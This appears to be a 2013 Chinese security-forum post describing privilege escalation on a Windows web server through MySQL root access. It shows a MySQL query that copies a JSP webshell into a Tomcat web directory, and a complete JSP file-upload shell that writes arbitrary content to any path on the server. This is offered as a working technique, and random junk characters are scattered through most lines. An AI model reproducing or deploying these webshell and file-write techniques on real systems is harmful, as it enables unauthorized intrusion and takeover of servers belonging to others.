找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2369|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。
2 m8 N/ U4 J% W7 N0 v# c9 @
! E, W+ W/ Y, M4 k6 P( F! \首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php8 p' ^( [) C2 o/ J/ Y
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)- `/ X' T5 p$ S/ }
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了/ x$ B; ^+ e0 A$ z4 b# u& ^! `6 ~
1 show variables like '%plugin%';: d  Q3 Y6 D. i. H  J: Z
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功) I3 v' V+ e8 A+ g* b
创建自定义函数似乎被拦截,一直失败。1 I, q1 y: O7 T
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限$ }1 S7 f$ S1 ^8 p* x5 h2 K( I
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
6 C4 u0 I8 S0 P" T. k用mysql执行语句:
. a+ B! l4 ^* }9 |  d1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'# t$ V8 N: a- W# ]/ {
2 复制代码
/ }$ k# x$ v- F, p后成功。
7 h5 e$ z! X7 K, ]但是访问后得到如下提示:  |. P6 S# G: w' z, W
​500页面
5 R$ |" J6 |% X  G5 p0 A4 z! X$ r0 l/ N$ \! D' Q

& y; V2 H4 Q  Q; U( C明显是MySQL的Win下版本自动添加转义符\n\r了
9 X) u) l8 @! s1 l9 S这样导致程序运行的悲剧。
! e: J: P3 `7 W) m( f" n/ k+ L/ |. t& b从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
% X% E" Q$ g  V: C1 |最后弄了这么个小脚本:
0 S  s7 H4 A3 ?9 c0 D7 N$ Y! J) {$ `01 <%@ page language="java" pageEncoding="gbk"%>
+ \+ w1 L: _  v/ {2 a! e3 T0 K02 <jsp:directive.page import="java.io.File"/>
+ p+ [2 X: Y  k$ d% @( o5 O( r03 <jsp:directive.page import="java.io.OutputStream"/>3 x+ g8 Y9 j! E+ f; h
04 <jsp:directive.page import="java.io.FileOutputStream"/>
( Y" o2 r9 r/ Z3 W0 [, ~: Y05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
: J4 f; A- M+ {06 error www.2cto.com9 A1 Z1 @' M( V# `: N  j
07 <%}}if(i==0){%>; W7 L3 K2 E7 d- a* h
08 ok
8 \+ z) I, C1 Z09 <%}%># q6 Q% y% z7 ]% z6 F
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
8 |4 V+ }( D# ^  y; v3 O就可以避免转义符让JSP的马儿运行500错误了。
* _5 A) o* x* Y+ P8 V$ O8 j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表